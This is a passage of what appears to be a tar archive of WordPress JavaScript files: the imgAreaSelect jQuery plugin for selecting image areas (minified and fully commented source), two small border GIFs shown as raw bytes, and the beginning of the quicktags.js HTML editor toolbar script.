!0,b.add(S).fadeIn(s.fadeSpeed||0),ie()),n=(F=(s.aspectRatio||"").split(/:/))[0]/F[1],v.add(S).off("mousedown",pe),s.disable||!1===s.enable?(b.off({"mousemove touchmove":E,"mousedown touchstart":ce}),Se(window).off("resize",ye)):(!s.enable&&!1!==s.disable||((s.resizable||s.movable)&&b.on({"mousemove touchmove":E,"mousedown touchstart":ce}),Se(window).on("resize",ye)),s.persistent||v.add(S).on("mousedown touchstart",pe)),s.enable=s.disable=void 0}this.remove=function(){xe({disable:!0}),b.add(S).remove()},this.getOptions=function(){return s},this.setOptions=xe,this.getSelection=H,this.setSelection=te,this.cancelSelection=me,this.update=ie;for(var O=(/msie ([\w.]+)/i.exec(V)||[])[1],we=/opera/i.test(V),V=/webkit/i.test(V)&&!/chrome/i.test(V),e=v;e.length;)A=ke(A,isNaN(e.css("z-index"))?A:e.css("z-index")),"fixed"==e.css("position")&&(J="fixed"),e=e.parent(":not(body)");A=s.zIndex||A,O&&v.attr("unselectable","on"),Se.imgAreaSelect.keyPress=O||V?"keydown":"keypress",we&&(L=We().css({width:"100%",height:"100%",position:"absolute",zIndex:A+2||2})),b.add(S).css({visibility:"hidden",position:J,overflow:"hidden",zIndex:A||"0"}),b.css({zIndex:A+2||2}),x.add(w).css({position:"absolute",fontSize:"0"}),o.complete||"complete"==o.readyState||!v.is("img")?ge():v.one("load",ge),!T&&O&&7<=O&&(o.src=o.src)},Se.fn.imgAreaSelect=function(e){return e=e||{},this.each(function(){Se(this).data("imgAreaSelect")?e.remove?(Se(this).data("imgAreaSelect").remove(),Se(this).removeData("imgAreaSelect")):Se(this).data("imgAreaSelect").setOptions(e):e.remove||(void 0===e.enable&&void 0===e.disable&&(e.enable=!0),Se(this).data("imgAreaSelect",new Se.imgAreaSelect(this,e)))}),e.instance?Se(this).data("imgAreaSelect"):this}}(jQuery); imgareaselect/border-anim-v.gif 0000644 00000000262 15111757752 0012515 0 ustar 00 GIF89a � ���666!�NETSCAPE2.0 !� � , @L�Q !� , ^ !� , ^ !� , D^ !� , D^ !� , D^ ; imgareaselect/jquery.imgareaselect.js 0000644 00000113355 15111757752 0014055 0 ustar 00 /* * imgAreaSelect jQuery plugin * version 0.9.10-wp-6.2 * * Copyright (c) 2008-2013 Michal Wojciechowski (odyniec.net) * * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * https://github.com/odyniec/imgareaselect * */ (function($) { /* * Math functions will be used extensively, so it's convenient to make a few * shortcuts */ var abs = Math.abs, max = Math.max, min = Math.min, floor = Math.floor; /** * Create a new HTML div element * * @return A jQuery object representing the new element */ function div() { return $('<div/>'); } /** * imgAreaSelect initialization * * @param img * A HTML image element to attach the plugin to * @param options * An options object */ $.imgAreaSelect = function (img, options) { var /* jQuery object representing the image */ $img = $(img), /* Has the image finished loading? */ imgLoaded, /* Plugin elements */ /* Container box */ $box = div(), /* Selection area */ $area = div(), /* Border (four divs) */ $border = div().add(div()).add(div()).add(div()), /* Outer area (four divs) */ $outer = div().add(div()).add(div()).add(div()), /* Handles (empty by default, initialized in setOptions()) */ $handles = $([]), /* * Additional element to work around a cursor problem in Opera * (explained later) */ $areaOpera, /* Image position (relative to viewport) */ left, top, /* Image offset (as returned by .offset()) */ imgOfs = { left: 0, top: 0 }, /* Image dimensions (as returned by .width() and .height()) */ imgWidth, imgHeight, /* * jQuery object representing the parent element that the plugin * elements are appended to */ $parent, /* Parent element offset (as returned by .offset()) */ parOfs = { left: 0, top: 0 }, /* Base z-index for plugin elements */ zIndex = 0, /* Plugin elements position */ position = 'absolute', /* X/Y coordinates of the starting point for move/resize operations */ startX, startY, /* Horizontal and vertical scaling factors */ scaleX, scaleY, /* Current resize mode ("nw", "se", etc.) */ resize, /* Selection area constraints */ minWidth, minHeight, maxWidth, maxHeight, /* Aspect ratio to maintain (floating point number) */ aspectRatio, /* Are the plugin elements currently displayed? */ shown, /* Current selection (relative to parent element) */ x1, y1, x2, y2, /* Current selection (relative to scaled image) */ selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 }, /* Document element */ docElem = document.documentElement, /* User agent */ ua = navigator.userAgent, /* Various helper variables used throughout the code */ $p, d, i, o, w, h, adjusted; /* * Translate selection coordinates (relative to scaled image) to viewport * coordinates (relative to parent element) */ /** * Translate selection X to viewport X * * @param x * Selection X * @return Viewport X */ function viewX(x) { return x + imgOfs.left - parOfs.left; } /** * Translate selection Y to viewport Y * * @param y * Selection Y * @return Viewport Y */ function viewY(y) { return y + imgOfs.top - parOfs.top; } /* * Translate viewport coordinates to selection coordinates */ /** * Translate viewport X to selection X * * @param x * Viewport X * @return Selection X */ function selX(x) { return x - imgOfs.left + parOfs.left; } /** * Translate viewport Y to selection Y * * @param y * Viewport Y * @return Selection Y */ function selY(y) { return y - imgOfs.top + parOfs.top; } /* * Translate event coordinates (relative to document) to viewport * coordinates */ /** * Get event X and translate it to viewport X * * @param event * The event object * @return Viewport X */ function evX(event) { return max(event.pageX || 0, touchCoords(event).x) - parOfs.left; } /** * Get event Y and translate it to viewport Y * * @param event * The event object * @return Viewport Y */ function evY(event) { return max(event.pageY || 0, touchCoords(event).y) - parOfs.top; } /** * Get X and Y coordinates of a touch event * * @param event * The event object * @return Coordinates object */ function touchCoords(event) { var oev = event.originalEvent || {}; if (oev.touches && oev.touches.length) return { x: oev.touches[0].pageX, y: oev.touches[0].pageY }; else return { x: 0, y: 0 }; } /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ function getSelection(noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; return { x1: floor(selection.x1 * sx), y1: floor(selection.y1 * sy), x2: floor(selection.x2 * sx), y2: floor(selection.y2 * sy), width: floor(selection.x2 * sx) - floor(selection.x1 * sx), height: floor(selection.y2 * sy) - floor(selection.y1 * sy) }; } /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ function setSelection(x1, y1, x2, y2, noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; selection = { x1: floor(x1 / sx || 0), y1: floor(y1 / sy || 0), x2: floor(x2 / sx || 0), y2: floor(y2 / sy || 0) }; selection.width = selection.x2 - selection.x1; selection.height = selection.y2 - selection.y1; } /** * Recalculate image and parent offsets */ function adjust() { /* * Do not adjust if image has not yet loaded or if width is not a * positive number. The latter might happen when imgAreaSelect is put * on a parent element which is then hidden. */ if (!imgLoaded || !$img.width()) return; /* * Get image offset. The .offset() method returns float values, so they * need to be rounded. */ imgOfs = { left: floor($img.offset().left), top: floor($img.offset().top) }; /* Get image dimensions */ imgWidth = $img.innerWidth(); imgHeight = $img.innerHeight(); imgOfs.top += ($img.outerHeight() - imgHeight) >> 1; imgOfs.left += ($img.outerWidth() - imgWidth) >> 1; /* Set minimum and maximum selection area dimensions */ minWidth = floor(options.minWidth / scaleX) || 0; minHeight = floor(options.minHeight / scaleY) || 0; maxWidth = floor(min(options.maxWidth / scaleX || 1<<24, imgWidth)); maxHeight = floor(min(options.maxHeight / scaleY || 1<<24, imgHeight)); /* * Workaround for jQuery 1.3.2 incorrect offset calculation, originally * observed in Safari 3. Firefox 2 is also affected. */ if ($().jquery == '1.3.2' && position == 'fixed' && !docElem['getBoundingClientRect']) { imgOfs.top += max(document.body.scrollTop, docElem.scrollTop); imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft); } /* Determine parent element offset */ parOfs = /absolute|relative/.test($parent.css('position')) ? { left: floor($parent.offset().left) - $parent.scrollLeft(), top: floor($parent.offset().top) - $parent.scrollTop() } : position == 'fixed' ? { left: $(document).scrollLeft(), top: $(document).scrollTop() } : { left: 0, top: 0 }; left = viewX(0); top = viewY(0); /* * Check if selection area is within image boundaries, adjust if * necessary */ if (selection.x2 > imgWidth || selection.y2 > imgHeight) doResize(); } /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function update(resetKeyPress) { /* If plugin elements are hidden, do nothing */ if (!shown) return; /* * Set the position and size of the container box and the selection area * inside it */ $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) }) .add($area).width(w = selection.width).height(h = selection.height); /* * Reset the position of selection area, borders, and handles (IE6/IE7 * position them incorrectly if we don't do this) */ $area.add($border).add($handles).css({ left: 0, top: 0 }); /* Set border dimensions */ $border .width(max(w - $border.outerWidth() + $border.innerWidth(), 0)) .height(max(h - $border.outerHeight() + $border.innerHeight(), 0)); /* Arrange the outer area elements */ $($outer[0]).css({ left: left, top: top, width: selection.x1, height: imgHeight }); $($outer[1]).css({ left: left + selection.x1, top: top, width: w, height: selection.y1 }); $($outer[2]).css({ left: left + selection.x2, top: top, width: imgWidth - selection.x2, height: imgHeight }); $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2, width: w, height: imgHeight - selection.y2 }); w -= $handles.outerWidth(); h -= $handles.outerHeight(); /* Arrange handles */ switch ($handles.length) { case 8: $($handles[4]).css({ left: w >> 1 }); $($handles[5]).css({ left: w, top: h >> 1 }); $($handles[6]).css({ left: w >> 1, top: h }); $($handles[7]).css({ top: h >> 1 }); case 4: $handles.slice(1,3).css({ left: w }); $handles.slice(2,4).css({ top: h }); } if (resetKeyPress !== false) { /* * Need to reset the document keypress event handler -- unbind the * current handler */ if ($.imgAreaSelect.onKeyPress != docKeyPress) $(document).off($.imgAreaSelect.keyPress, $.imgAreaSelect.onKeyPress); if (options.keys) /* * Set the document keypress event handler to this instance's * docKeyPress() function */ $(document).on( $.imgAreaSelect.keyPress, function() { $.imgAreaSelect.onKeyPress = docKeyPress; }); } /* * Internet Explorer displays 1px-wide dashed borders incorrectly by * filling the spaces between dashes with white. Toggling the margin * property between 0 and "auto" fixes this in IE6 and IE7 (IE8 is still * broken). This workaround is not perfect, as it requires setTimeout() * and thus causes the border to flicker a bit, but I haven't found a * better solution. * * Note: This only happens with CSS borders, set with the borderWidth, * borderOpacity, borderColor1, and borderColor2 options (which are now * deprecated). Borders created with GIF background images are fine. */ if (msie && $border.outerWidth() - $border.innerWidth() == 2) { $border.css('margin', 0); setTimeout(function () { $border.css('margin', 'auto'); }, 0); } } /** * Do the complete update sequence: recalculate offsets, update the * elements, and set the correct values of x1, y1, x2, and y2. * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function doUpdate(resetKeyPress) { adjust(); update(resetKeyPress); updateSelectionRelativeToParentElement(); } /** * Set the correct values of x1, y1, x2, and y2. */ function updateSelectionRelativeToParentElement() { x1 = viewX(selection.x1); y1 = viewY(selection.y1); x2 = viewX(selection.x2); y2 = viewY(selection.y2); } /** * Hide or fade out an element (or multiple elements) * * @param $elem * A jQuery object containing the element(s) to hide/fade out * @param fn * Callback function to be called when fadeOut() completes */ function hide($elem, fn) { options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide(); } /** * Selection area mousemove event handler * * @param event * The event object */ function areaMouseMove(event) { var x = selX(evX(event)) - selection.x1, y = selY(evY(event)) - selection.y1; if (!adjusted) { adjust(); adjusted = true; $box.one('mouseout', function () { adjusted = false; }); } /* Clear the resize mode */ resize = ''; if (options.resizable) { /* * Check if the mouse pointer is over the resize margin area and set * the resize mode accordingly */ if (y <= options.resizeMargin) resize = 'n'; else if (y >= selection.height - options.resizeMargin) resize = 's'; if (x <= options.resizeMargin) resize += 'w'; else if (x >= selection.width - options.resizeMargin) resize += 'e'; } $box.css('cursor', resize ? resize + '-resize' : options.movable ? 'move' : ''); if ($areaOpera) $areaOpera.toggle(); } /** * Document mouseup event handler * * @param event * The event object */ function docMouseUp(event) { /* Set back the default cursor */ $('body').css('cursor', ''); /* * If autoHide is enabled, or if the selection has zero width/height, * hide the selection and the outer area */ if (options.autoHide || selection.width * selection.height == 0) hide($box.add($outer), function () { $(this).hide(); }); $(document).off('mousemove touchmove', selectingMouseMove); $box.on('mousemove touchmove', areaMouseMove); options.onSelectEnd(img, getSelection()); } /** * Selection area mousedown event handler * * @param event * The event object * @return false */ function areaMouseDown(event) { if (event.type == 'mousedown' && event.which != 1) return false; /* * With mobile browsers, there is no "moving the pointer over" action, * so we need to simulate one mousemove event happening prior to * mousedown/touchstart. */ areaMouseMove(event); adjust(); if (resize) { /* Resize mode is in effect */ $('body').css('cursor', resize + '-resize'); x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']); y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']); $(document).on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); } else if (options.movable) { startX = left + selection.x1 - evX(event); startY = top + selection.y1 - evY(event); $box.off('mousemove touchmove', areaMouseMove); $(document).on('mousemove touchmove', movingMouseMove) .one('mouseup touchend', function () { options.onSelectEnd(img, getSelection()); $(document).off('mousemove touchmove', movingMouseMove); $box.on('mousemove touchmove', areaMouseMove); }); } else $img.mousedown(event); return false; } /** * Adjust the x2/y2 coordinates to maintain aspect ratio (if defined) * * @param xFirst * If set to <code>true</code>, calculate x2 first. Otherwise, * calculate y2 first. */ function fixAspectRatio(xFirst) { if (aspectRatio) if (xFirst) { x2 = max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))); y2 = floor(max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)))); x2 = floor(x2); } else { y2 = max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))); x2 = floor(max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)))); y2 = floor(y2); } } /** * Resize the selection area respecting the minimum/maximum dimensions and * aspect ratio */ function doResize() { /* * Make sure x1, x2, y1, y2 are initialized to avoid the following calculation * getting incorrect results. */ if ( x1 == null || x2 == null || y1 == null || y2 == null ) { updateSelectionRelativeToParentElement(); } /* * Make sure the top left corner of the selection area stays within * image boundaries (it might not if the image source was dynamically * changed). */ x1 = min(x1, left + imgWidth); y1 = min(y1, top + imgHeight); if (abs(x2 - x1) < minWidth) { /* Selection width is smaller than minWidth */ x2 = x1 - minWidth * (x2 < x1 || -1); if (x2 < left) x1 = left + minWidth; else if (x2 > left + imgWidth) x1 = left + imgWidth - minWidth; } if (abs(y2 - y1) < minHeight) { /* Selection height is smaller than minHeight */ y2 = y1 - minHeight * (y2 < y1 || -1); if (y2 < top) y1 = top + minHeight; else if (y2 > top + imgHeight) y1 = top + imgHeight - minHeight; } x2 = max(left, min(x2, left + imgWidth)); y2 = max(top, min(y2, top + imgHeight)); fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio); if (abs(x2 - x1) > maxWidth) { /* Selection width is greater than maxWidth */ x2 = x1 - maxWidth * (x2 < x1 || -1); fixAspectRatio(); } if (abs(y2 - y1) > maxHeight) { /* Selection height is greater than maxHeight */ y2 = y1 - maxHeight * (y2 < y1 || -1); fixAspectRatio(true); } selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)), y1: selY(min(y1, y2)), y2: selY(max(y1, y2)), width: abs(x2 - x1), height: abs(y2 - y1) }; update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the user is selecting an area * * @param event * The event object * @return false */ function selectingMouseMove(event) { x2 = /w|e|^$/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2); y2 = /n|s|^$/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2); doResize(); return false; } /** * Move the selection area * * @param newX1 * New viewport X1 * @param newY1 * New viewport Y1 */ function doMove(newX1, newY1) { x2 = (x1 = newX1) + selection.width; y2 = (y1 = newY1) + selection.height; $.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2), y2: selY(y2) }); update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the selection area is being moved * * @param event * The event object * @return false */ function movingMouseMove(event) { x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width)); y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height)); doMove(x1, y1); event.preventDefault(); return false; } /** * Start selection */ function startSelection() { $(document).off('mousemove touchmove', startSelection); adjust(); x2 = x1; y2 = y1; doResize(); resize = ''; if (!$outer.is(':visible')) /* Show the plugin elements */ $box.add($outer).hide().fadeIn(options.fadeSpeed||0); shown = true; $(document).off('mouseup touchend', cancelSelection) .on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); options.onSelectStart(img, getSelection()); } /** * Cancel selection */ function cancelSelection() { $(document).off('mousemove touchmove', startSelection) .off('mouseup touchend', cancelSelection); hide($box.add($outer)); setSelection(selX(x1), selY(y1), selX(x1), selY(y1)); /* If this is an API call, callback functions should not be triggered */ if (!(this instanceof $.imgAreaSelect)) { options.onSelectChange(img, getSelection()); options.onSelectEnd(img, getSelection()); } } /** * Image mousedown event handler * * @param event * The event object * @return false */ function imgMouseDown(event) { /* Ignore the event if animation is in progress */ if (event.which > 1 || $outer.is(':animated')) return false; adjust(); startX = x1 = evX(event); startY = y1 = evY(event); /* Selection will start when the mouse is moved */ $(document).on({ 'mousemove touchmove': startSelection, 'mouseup touchend': cancelSelection }); return false; } /** * Window resize event handler */ function windowResize() { doUpdate(false); } /** * Image load event handler. This is the final part of the initialization * process. */ function imgLoad() { imgLoaded = true; /* Set options */ setOptions(options = $.extend({ classPrefix: 'imgareaselect', movable: true, parent: 'body', resizable: true, resizeMargin: 10, onInit: function () {}, onSelectStart: function () {}, onSelectChange: function () {}, onSelectEnd: function () {} }, options)); $box.add($outer).css({ visibility: '' }); if (options.show) { shown = true; adjust(); update(); $box.add($outer).hide().fadeIn(options.fadeSpeed||0); } /* * Call the onInit callback. The setTimeout() call is used to ensure * that the plugin has been fully initialized and the object instance is * available (so that it can be obtained in the callback). */ setTimeout(function () { options.onInit(img, getSelection()); }, 0); } /** * Document keypress event handler * * @param event * The event object * @return false */ var docKeyPress = function(event) { var k = options.keys, d, t, key = event.keyCode; d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt : !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl : !isNaN(k.shift) && event.shiftKey ? k.shift : !isNaN(k.arrows) ? k.arrows : 10; if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) || (k.ctrl == 'resize' && event.ctrlKey) || (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey))) { /* Resize selection */ switch (key) { case 37: /* Left */ d = -d; case 39: /* Right */ t = max(x1, x2); x1 = min(x1, x2); x2 = max(t + d, x1); fixAspectRatio(); break; case 38: /* Up */ d = -d; case 40: /* Down */ t = max(y1, y2); y1 = min(y1, y2); y2 = max(t + d, y1); fixAspectRatio(true); break; default: return; } doResize(); } else { /* Move selection */ x1 = min(x1, x2); y1 = min(y1, y2); switch (key) { case 37: /* Left */ doMove(max(x1 - d, left), y1); break; case 38: /* Up */ doMove(x1, max(y1 - d, top)); break; case 39: /* Right */ doMove(x1 + min(d, imgWidth - selX(x2)), y1); break; case 40: /* Down */ doMove(x1, y1 + min(d, imgHeight - selY(y2))); break; default: return; } } return false; }; /** * Apply style options to plugin element (or multiple elements) * * @param $elem * A jQuery object representing the element(s) to style * @param props * An object that maps option names to corresponding CSS * properties */ function styleOptions($elem, props) { for (var option in props) if (options[option] !== undefined) $elem.css(props[option], options[option]); } /** * Set plugin options * * @param newOptions * The new options object */ function setOptions(newOptions) { if (newOptions.parent) ($parent = $(newOptions.parent)).append($box.add($outer)); /* Merge the new options with the existing ones */ $.extend(options, newOptions); adjust(); if (newOptions.handles != null) { /* Recreate selection area handles */ $handles.remove(); $handles = $([]); i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0; while (i--) $handles = $handles.add(div()); /* Add a class to handles and set the CSS properties */ $handles.addClass(options.classPrefix + '-handle').css({ position: 'absolute', /* * The font-size property needs to be set to zero, otherwise * Internet Explorer makes the handles too large */ fontSize: '0', zIndex: zIndex + 1 || 1 }); /* * If handle width/height has not been set with CSS rules, set the * default 5px */ if (!parseInt($handles.css('width')) >= 0) $handles.width(10).height(10); /* * If the borderWidth option is in use, add a solid border to * handles */ if (o = options.borderWidth) $handles.css({ borderWidth: o, borderStyle: 'solid' }); /* Apply other style options */ styleOptions($handles, { borderColor1: 'border-color', borderColor2: 'background-color', borderOpacity: 'opacity' }); } /* Calculate scale factors */ scaleX = options.imageWidth / imgWidth || 1; scaleY = options.imageHeight / imgHeight || 1; /* Set selection */ if (newOptions.x1 != null) { setSelection(newOptions.x1, newOptions.y1, newOptions.x2, newOptions.y2); newOptions.show = !newOptions.hide; } if (newOptions.keys) /* Enable keyboard support */ options.keys = $.extend({ shift: 1, ctrl: 'resize' }, newOptions.keys); /* Add classes to plugin elements */ $outer.addClass(options.classPrefix + '-outer'); $area.addClass(options.classPrefix + '-selection'); for (i = 0; i++ < 4;) $($border[i-1]).addClass(options.classPrefix + '-border' + i); /* Apply style options */ styleOptions($area, { selectionColor: 'background-color', selectionOpacity: 'opacity' }); styleOptions($border, { borderOpacity: 'opacity', borderWidth: 'border-width' }); styleOptions($outer, { outerColor: 'background-color', outerOpacity: 'opacity' }); if (o = options.borderColor1) $($border[0]).css({ borderStyle: 'solid', borderColor: o }); if (o = options.borderColor2) $($border[1]).css({ borderStyle: 'dashed', borderColor: o }); /* Append all the selection area elements to the container box */ $box.append($area.add($border).add($areaOpera)).append($handles); if (msie) { if (o = ($outer.css('filter')||'').match(/opacity=(\d+)/)) $outer.css('opacity', o[1]/100); if (o = ($border.css('filter')||'').match(/opacity=(\d+)/)) $border.css('opacity', o[1]/100); } if (newOptions.hide) hide($box.add($outer)); else if (newOptions.show && imgLoaded) { shown = true; $box.add($outer).fadeIn(options.fadeSpeed||0); doUpdate(); } /* Calculate the aspect ratio factor */ aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1]; $img.add($outer).off('mousedown', imgMouseDown); if (options.disable || options.enable === false) { /* Disable the plugin */ $box.off({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).off('resize', windowResize); } else { if (options.enable || options.disable === false) { /* Enable the plugin */ if (options.resizable || options.movable) $box.on({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).on( 'resize', windowResize); } if (!options.persistent) $img.add($outer).on('mousedown touchstart', imgMouseDown); } options.enable = options.disable = undefined; } /** * Remove plugin completely */ this.remove = function () { /* * Call setOptions with { disable: true } to unbind the event handlers */ setOptions({ disable: true }); $box.add($outer).remove(); }; /* * Public API */ /** * Get current options * * @return An object containing the set of options currently in use */ this.getOptions = function () { return options; }; /** * Set plugin options * * @param newOptions * The new options object */ this.setOptions = setOptions; /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ this.getSelection = getSelection; /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ this.setSelection = setSelection; /** * Cancel selection */ this.cancelSelection = cancelSelection; /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ this.update = doUpdate; /* Do the dreaded browser detection */ var msie = (/msie ([\w.]+)/i.exec(ua)||[])[1], opera = /opera/i.test(ua), safari = /webkit/i.test(ua) && !/chrome/i.test(ua); /* * Traverse the image's parent elements (up to <body>) and find the * highest z-index */ $p = $img; while ($p.length) { zIndex = max(zIndex, !isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex); /* Also check if any of the ancestor elements has fixed position */ if ($p.css('position') == 'fixed') position = 'fixed'; $p = $p.parent(':not(body)'); } /* * If z-index is given as an option, it overrides the one found by the * above loop */ zIndex = options.zIndex || zIndex; if (msie) $img.attr('unselectable', 'on'); /* * In MSIE and WebKit, we need to use the keydown event instead of keypress */ $.imgAreaSelect.keyPress = msie || safari ? 'keydown' : 'keypress'; /* * There is a bug affecting the CSS cursor property in Opera (observed in * versions up to 10.00) that prevents the cursor from being updated unless * the mouse leaves and enters the element again. To trigger the mouseover * event, we're adding an additional div to $box and we're going to toggle * it when mouse moves inside the selection area. */ if (opera) $areaOpera = div().css({ width: '100%', height: '100%', position: 'absolute', zIndex: zIndex + 2 || 2 }); /* * We initially set visibility to "hidden" as a workaround for a weird * behaviour observed in Google Chrome 1.0.154.53 (on Windows XP). Normally * we would just set display to "none", but, for some reason, if we do so * then Chrome refuses to later display the element with .show() or * .fadeIn(). */ $box.add($outer).css({ visibility: 'hidden', position: position, overflow: 'hidden', zIndex: zIndex || '0' }); $box.css({ zIndex: zIndex + 2 || 2 }); $area.add($border).css({ position: 'absolute', fontSize: '0' }); /* * If the image has been fully loaded, or if it is not really an image (eg. * a div), call imgLoad() immediately; otherwise, bind it to be called once * on image load event. */ img.complete || img.readyState == 'complete' || !$img.is('img') ? imgLoad() : $img.one('load', imgLoad); /* * MSIE 9.0 doesn't always fire the image load event -- resetting the src * attribute seems to trigger it. The check is for version 7 and above to * accommodate for MSIE 9 running in compatibility mode. */ if (!imgLoaded && msie && msie >= 7) img.src = img.src; }; /** * Invoke imgAreaSelect on a jQuery object containing the image(s) * * @param options * Options object * @return The jQuery object or a reference to imgAreaSelect instance (if the * <code>instance</code> option was specified) */ $.fn.imgAreaSelect = function (options) { options = options || {}; this.each(function () { /* Is there already an imgAreaSelect instance bound to this element? */ if ($(this).data('imgAreaSelect')) { /* Yes there is -- is it supposed to be removed? */ if (options.remove) { /* Remove the plugin */ $(this).data('imgAreaSelect').remove(); $(this).removeData('imgAreaSelect'); } else /* Reset options */ $(this).data('imgAreaSelect').setOptions(options); } else if (!options.remove) { /* No exising instance -- create a new one */ /* * If neither the "enable" nor the "disable" option is present, add * "enable" as the default */ if (options.enable === undefined && options.disable === undefined) options.enable = true; $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options)); } }); if (options.instance) /* * Return the imgAreaSelect instance bound to the first element in the * set */ return $(this).data('imgAreaSelect'); return this; }; })(jQuery); imgareaselect/border-anim-h.gif 0000644 00000000262 15111757752 0012477 0 ustar 00 GIF89a � ���666!�NETSCAPE2.0 !� � , @Q !� , ^ !� , ^ !� , D^ !� , D^ !� , D^ ; quicktags.js 0000644 00000054111 15111757752 0007112 0 ustar 00 /* * Quicktags * * This is the HTML editor in WordPress. It can be attached to any textarea and will * append a toolbar above it. This script is self-contained (does not require external libraries). * * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties: * settings = { * id : 'my_id', the HTML ID of the textarea, required * buttons: '' Comma separated list of the names of the default buttons to show. Optional. * Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close'; * } * * The settings can also be a string quicktags_id. * * quicktags_id string The ID of the textarea that will be the editor canvas * buttons string Comma separated list of the default buttons names that will be shown in that instance. * * @output wp-includes/js/quicktags.js */ // New edit toolbar used with permission // by Alex King // http://www.alexking.org/ /* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt, edButtons */ window.edButtons = []; /* jshint ignore:start */ /** * Back-compat * * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors. */ window.edAddTag = function(){}; window.edCheckOpenTags = function(){}; window.edCloseAllTags = function(){}; window.edInsertImage = function(){}; window.edInsertLink = function(){}; window.edInsertTag = function(){}; window.edLink = function(){}; window.edQuickLink = function(){}; window.edRemoveTag = function(){}; window.edShowButton = function(){}; window.edShowLinks = function(){}; window.edSpell = function(){}; window.edToolbar = function(){}; /* jshint ignore:end */ (function(){ // Private stuff is prefixed with an underscore. var _domReady = function(func) { var t, i, DOMContentLoaded, _tryReady; if ( typeof jQuery !== 'undefined' ) { jQuery( func ); } else { t = _domReady; t.funcs = []; t.ready = function() { if ( ! t.isReady ) { t.isReady = true; for ( i = 0; i < t.funcs.length; i++ ) { t.funcs[i](); } } }; if ( t.isReady ) { func(); } else { t.funcs.push(func); } if ( ! t.eventAttached ) { if ( document.addEventListener ) { DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();}; document.addEventListener('DOMContentLoaded', DOMContentLoaded, false); window.addEventListener('load', t.ready, false); } else if ( document.attachEvent ) { DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}}; document.attachEvent('onreadystatechange', DOMContentLoaded); window.attachEvent('onload', t.ready); _tryReady = function() { try { document.documentElement.doScroll('left'); } catch(e) { setTimeout(_tryReady, 50); return; } t.ready(); }; _tryReady(); } t.eventAttached = true; } } }, _datetime = (function() { var now = new Date(), zeroise; zeroise = function(number) { var str = number.toString(); if ( str.length < 2 ) { str = '0' + str; } return str; }; return now.getUTCFullYear() + '-' + zeroise( now.getUTCMonth() + 1 ) + '-' + zeroise( now.getUTCDate() ) + 'T' + zeroise( now.getUTCHours() ) + ':' + zeroise( now.getUTCMinutes() ) + ':' + zeroise( now.getUTCSeconds() ) + '+00:00'; })(); var qt = window.QTags = function(settings) { if ( typeof(settings) === 'string' ) { settings = {id: settings}; } else if ( typeof(settings) !== 'object' ) { return false; } var t = this, id = settings.id, canvas = document.getElementById(id), name = 'qt_' + id, tb, onclick, toolbar_id, wrap, setActiveEditor; if ( !id || !canvas ) { return false; } t.name = name; t.id = id; t.canvas = canvas; t.settings = settings; if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 